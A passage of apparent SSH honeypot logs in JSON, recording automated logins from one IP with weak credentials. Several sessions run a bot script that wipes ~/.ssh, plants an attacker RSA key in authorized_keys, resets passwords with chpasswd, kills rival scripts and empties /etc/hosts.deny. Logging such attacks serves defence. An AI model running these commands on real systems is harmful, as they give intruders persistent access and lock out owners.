GNU/Linux"},{"seq":27,"at":"2026-08-27T11:55:57.170673+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:55:57.997450+00:00","kind":"output","latency_ms":null,"data":"cps"},{"seq":29,"at":"2026-08-27T11:55:58.324653+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:55:59.489171+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:55:59.815136+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:56:01.800696+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"cps","password":"cps123","method":"password","accepted":true,"tier":"other"}]} {"id":"63243633-ff5f-4182-95c2-54108ed4fed9","name":"mellow-idle-swallow","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":53472,"username":"cps","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:55:42.562853+00:00","ended_at":"2026-08-27T11:55:43.279273+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"cps","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1ab0aaa3-64c3-43f0-b940-82e7cbdef75a","name":"silent-northern-curlew","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":53466,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:55:41.020328+00:00","ended_at":"2026-08-27T11:55:41.910846+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"b35078f3-5fb4-43f6-b112-bf371f237986","name":"lawful-amber-avocet","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":42784,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:53:59.205091+00:00","ended_at":"2026-08-27T11:54:00.212862+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2162,"events":[{"seq":1,"at":"2026-08-27T11:53:29.824748+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:53:30.152736+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:53:34.992963+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:53:36.581035+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:53:36.911829+00:00","kind":"input","latency_ms":null,"data":"echo -e \"toor\\n2QZGLZkiTCn6\\n2QZGLZkiTCn6\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:53:37.244011+00:00","kind":"input","latency_ms":null,"data":"echo \"toor\\n2QZGLZkiTCn6\\n2QZGLZkiTCn6\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:53:37.572317+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:53:37.956520+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:53:38.957586+00:00","kind":"output","latency_ms":null,"data":""},{"seq":10,"at":"2026-08-27T11:53:39.687090+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":11,"at":"2026-08-27T11:53:40.020366+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":12,"at":"2026-08-27T11:53:41.266314+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:53:41.604253+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":14,"at":"2026-08-27T11:53:43.787241+00:00","kind":"output","latency_ms":null,"data":""},{"seq":15,"at":"2026-08-27T11:53:44.112011+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":16,"at":"2026-08-27T11:53:45.583507+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":17,"at":"2026-08-27T11:53:45.912350+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":18,"at":"2026-08-27T11:53:47.587223+00:00","kind":"output","latency_ms":null,"data":" 11:53:47 up 7 days, 8:43, 0 user, load average: 0.15, 0.15, 0.11\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":19,"at":"2026-08-27T11:53:47.915585+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":20,"at":"2026-08-27T11:53:49.635214+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":21,"at":"2026-08-27T11:53:49.961622+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":22,"at":"2026-08-27T11:53:51.847391+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":23,"at":"2026-08-27T11:53:52.175378+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":24,"at":"2026-08-27T11:53:54.097883+00:00","kind":"output","latency_ms":null,"data":"top - 11:53:54 up 7 days, 8:44, 0 user, load average: 0.15, 0.15, 0.11\nTasks: 106 total, 1 running, 105 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6196 free, 9691 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":25,"at":"2026-08-27T11:53:54.424723+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":26,"at":"2026-08-27T11:53:55.403301+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":27,"at":"2026-08-27T11:53:55.733090+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":28,"at":"2026-08-27T11:53:56.392405+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":29,"at":"2026-08-27T11:53:56.721285+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":30,"at":"2026-08-27T11:53:57.002136+00:00","kind":"output","latency_ms":null,"data":"ftpuser"},{"seq":31,"at":"2026-08-27T11:53:57.329394+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":32,"at":"2026-08-27T11:53:58.877141+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":33,"at":"2026-08-27T11:53:59.206096+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":34,"at":"2026-08-27T11:54:00.118132+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ftpuser","password":"toor","method":"password","accepted":true,"tier":"other"}]} {"id":"ef161ab2-affa-4bce-8dd8-79016202d584","name":"russet-gentle-dunlin","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":46244,"username":"ftpuser","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:53:33.524936+00:00","ended_at":"2026-08-27T11:53:34.884327+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ftpuser","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"1854bf02-0819-4251-9a77-d76e89e512b7","name":"sooty-velvet-chinchilla","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":46230,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:53:30.899068+00:00","ended_at":"2026-08-27T11:53:32.873180+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"faf1ed23-d01e-449e-a490-07bd77bfa5a5","name":"whispering-woven-mongoose","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":47952,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":330,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:51:56.198137+00:00","ended_at":"2026-08-27T11:51:58.401380+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2205,"events":[{"seq":1,"at":"2026-08-27T11:51:34.399429+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:51:34.726743+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:51:38.274527+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:51:40.344309+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:51:40.674631+00:00","kind":"input","latency_ms":null,"data":"echo \"root:bSWrGLstZ5rr\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:51:40.999909+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:51:41.324909+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:51:42.291541+00:00","kind":"output","latency_ms":null,"data":""},{"seq":9,"at":"2026-08-27T11:51:43.147129+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":10,"at":"2026-08-27T11:51:43.473593+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":11,"at":"2026-08-27T11:51:44.310149+00:00","kind":"output","latency_ms":null,"data":""},{"seq":12,"at":"2026-08-27T11:51:44.644065+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":13,"at":"2026-08-27T11:51:46.744094+00:00","kind":"output","latency_ms":null,"data":""},{"seq":14,"at":"2026-08-27T11:51:47.074750+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":15,"at":"2026-08-27T11:51:47.740939+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":16,"at":"2026-08-27T11:51:48.069527+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":17,"at":"2026-08-27T11:51:48.419058+00:00","kind":"output","latency_ms":null,"data":" 11:51:48 up 7 days, 8:41, 0 user, load average: 0.34, 0.39, 0.39\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":18,"at":"2026-08-27T11:51:48.750869+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":19,"at":"2026-08-27T11:51:49.372674+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":20,"at":"2026-08-27T11:51:49.698370+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":21,"at":"2026-08-27T11:51:50.538382+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":22,"at":"2026-08-27T11:51:50.883199+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":23,"at":"2026-08-27T11:51:51.711707+00:00","kind":"output","latency_ms":null,"data":"top - 11:51:51 up 7 days, 8:41, 0 user, load average: 0.34, 0.39, 0.39\nTasks: 122 total, 1 running, 121 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 7626 free, 8261 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":24,"at":"2026-08-27T11:51:52.047103+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":25,"at":"2026-08-27T11:51:52.318393+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":26,"at":"2026-08-27T11:51:52.653269+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":27,"at":"2026-08-27T11:51:53.515725+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":28,"at":"2026-08-27T11:51:53.840545+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":29,"at":"2026-08-27T11:51:54.410833+00:00","kind":"output","latency_ms":null,"data":"root"},{"seq":30,"at":"2026-08-27T11:51:54.738508+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":31,"at":"2026-08-27T11:51:55.868809+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":32,"at":"2026-08-27T11:51:56.199085+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":33,"at":"2026-08-27T11:51:58.305047+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"root","password":"welcome@2024","method":"password","accepted":true,"tier":"other"}]} {"id":"4f77e68e-6e5f-46a0-aa86-a1085e314e2d","name":"opal-primal-pipit","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47976,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:51:37.270099+00:00","ended_at":"2026-08-27T11:51:38.176813+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"root","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"474be15e-09fd-44ec-8dd0-fad5202331b1","name":"fringed-frank-flamingo","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":47966,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:51:35.474470+00:00","ended_at":"2026-08-27T11:51:36.612542+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"e1f66112-87f6-47df-a41b-341a29ff54b1","name":"foggy-alpine-lapwing","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":40216,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":327,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:49:59.749424+00:00","ended_at":"2026-08-27T11:50:01.495060+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2150,"events":[{"seq":1,"at":"2026-08-27T11:49:40.924949+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:49:41.251693+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:49:46.139350+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:49:47.028274+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:49:47.355048+00:00","kind":"input","latency_ms":null,"data":"echo -e \"Password1\\n5zydajlfTU2E\\n5zydajlfTU2E\"|passwd|bash"},{"seq":6,"at":"2026-08-27T11:49:47.682660+00:00","kind":"input","latency_ms":null,"data":"echo \"Password1\\n5zydajlfTU2E\\n5zydajlfTU2E\\n\"|passwd"},{"seq":7,"at":"2026-08-27T11:49:48.007732+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:49:48.383988+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:49:48.712159+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:49:49.982059+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:49:50.317966+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:49:51.147445+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:49:51.481098+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:49:51.970754+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:49:52.297229+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:49:52.834320+00:00","kind":"output","latency_ms":null,"data":" 11:49:52 up 7 days, 8:39, 0 user, load average: 0.31, 0.27, 0.22\nUSER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT"},{"seq":17,"at":"2026-08-27T11:49:53.161993+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":18,"at":"2026-08-27T11:49:53.584642+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":19,"at":"2026-08-27T11:49:53.912674+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep model | grep name | wc -l"},{"seq":20,"at":"2026-08-27T11:49:54.804870+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":21,"at":"2026-08-27T11:49:55.130660+00:00","kind":"input","latency_ms":null,"data":"top"},{"seq":22,"at":"2026-08-27T11:49:55.695519+00:00","kind":"output","latency_ms":null,"data":"top - 11:49:55 up 7 days, 8:40, 0 user, load average: 0.31, 0.27, 0.22\nTasks: 113 total, 1 running, 112 sleeping, 0 stopped, 0 zombie\n%Cpu(s): 1.3 us, 0.7 sy, 0.0 ni, 97.7 id, 0.3 wa, 0.0 hi, 0.0 si, 0.0 st\nMiB Mem : 15888 total, 6672 free, 9215 used\nMiB Swap: 4095 total, 4095 free, 0 used\n\n PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND\n 1 root 20 0 168404 13072 8284 S 0.0 1.3 0:04.19 systemd\n 742 root 20 0 109272 6144 5376 S 0.0 0.6 0:00.83 nginx\n 889 postgres 20 0 218360 28416 26112 S 0.0 2.9 0:01.44 postgres\n 1204 root 20 0 712924 48732 22188 S 0.3 4.9 0:12.06 node\n^C"},{"seq":23,"at":"2026-08-27T11:49:56.022674+00:00","kind":"input","latency_ms":null,"data":"uname"},{"seq":24,"at":"2026-08-27T11:49:56.722207+00:00","kind":"output","latency_ms":null,"data":"Linux"},{"seq":25,"at":"2026-08-27T11:49:57.047674+00:00","kind":"input","latency_ms":null,"data":"uname -a"},{"seq":26,"at":"2026-08-27T11:49:57.555024+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux"},{"seq":27,"at":"2026-08-27T11:49:57.882933+00:00","kind":"input","latency_ms":null,"data":"whoami"},{"seq":28,"at":"2026-08-27T11:49:58.160250+00:00","kind":"output","latency_ms":null,"data":"ansible"},{"seq":29,"at":"2026-08-27T11:49:58.485680+00:00","kind":"input","latency_ms":null,"data":"lscpu | grep Model"},{"seq":30,"at":"2026-08-27T11:49:59.420283+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":31,"at":"2026-08-27T11:49:59.752139+00:00","kind":"input","latency_ms":null,"data":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'"},{"seq":32,"at":"2026-08-27T11:50:01.397328+00:00","kind":"output","latency_ms":null,"data":""}],"credentials":[{"username":"ansible","password":"Password1","method":"password","accepted":true,"tier":"other"}]} {"id":"663d9908-021d-4475-97d9-053010350332","name":"sooty-lucid-wolverine","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40224,"username":"ansible","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:49:44.171583+00:00","ended_at":"2026-08-27T11:49:46.043108+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"ansible","password":"3245gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"de3174e4-d24d-47f3-b848-c5e793a02c47","name":"rustic-plucky-firefly","protocol":"ssh","channel_kind":null,"src_ip":"2.26.148.64","src_port":40222,"username":"345gs5662d34","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":null,"probe_flagged":0,"exec_command":null,"started_at":"2026-08-27T11:49:41.994411+00:00","ended_at":"2026-08-27T11:49:43.518111+00:00","ended_reason":"no channel opened","commands":0,"transcript_bytes":0,"events":[],"credentials":[{"username":"345gs5662d34","password":"345gs5662d34","method":"password","accepted":false,"tier":"probe"}]} {"id":"00030452-c690-4616-bbdc-5492e2710ee0","name":"graceful-glacial-teal","protocol":"ssh","channel_kind":"exec","src_ip":"2.26.148.64","src_port":37640,"username":"root","client_version":"SSH-2.0-libssh_0.9.6","auth_attempts":1,"automation":"bot","think_ms":347,"probe_flagged":0,"exec_command":"cd ~; chattr -ia .ssh; lockr -ia .ssh","started_at":"2026-08-27T11:48:01.797262+00:00","ended_at":"2026-08-27T11:48:03.011742+00:00","ended_reason":"exec complete","commands":18,"transcript_bytes":2183,"events":[{"seq":1,"at":"2026-08-27T11:47:41.738758+00:00","kind":"input","latency_ms":null,"data":"cd ~; chattr -ia .ssh; lockr -ia .ssh"},{"seq":2,"at":"2026-08-27T11:47:42.083306+00:00","kind":"input","latency_ms":null,"data":"cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"},{"seq":3,"at":"2026-08-27T11:47:47.346789+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | wc -l"},{"seq":4,"at":"2026-08-27T11:47:47.729127+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-27T11:47:48.075027+00:00","kind":"input","latency_ms":null,"data":"echo \"root:Hu4CGze3o5qM\"|chpasswd|bash"},{"seq":6,"at":"2026-08-27T11:47:48.421401+00:00","kind":"input","latency_ms":null,"data":"rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;"},{"seq":7,"at":"2026-08-27T11:47:48.776070+00:00","kind":"input","latency_ms":null,"data":"cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'"},{"seq":8,"at":"2026-08-27T11:47:49.396438+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":9,"at":"2026-08-27T11:47:49.744181+00:00","kind":"input","latency_ms":null,"data":"free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'"},{"seq":10,"at":"2026-08-27T11:47:51.001348+00:00","kind":"output","latency_ms":null,"data":""},{"seq":11,"at":"2026-08-27T11:47:51.357202+00:00","kind":"input","latency_ms":null,"data":"ls -lh $(which ls)"},{"seq":12,"at":"2026-08-27T11:47:52.503201+00:00","kind":"output","latency_ms":null,"data":""},{"seq":13,"at":"2026-08-27T11:47:52.855409+00:00","kind":"input","latency_ms":null,"data":"crontab -l"},{"seq":14,"at":"2026-08-27T11:47:53.314644+00:00","kind":"output","latency_ms":null,"data":"crontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l\ncrontab -l"},{"seq":15,"at":"2026-08-27T11:47:53.661685+00:00","kind":"input","latency_ms":null,"data":"w"},{"seq":16,"at":"2026-08-27T11:47:54.162239+00:00","kind":"output","latency_ms":null,"data":" 11:47:54 up 7 days, 8:38, 0 user, load average: 0.34, 0.42, 0.31\nUSER TTY FROM LOGIN@ IDLE JCPU 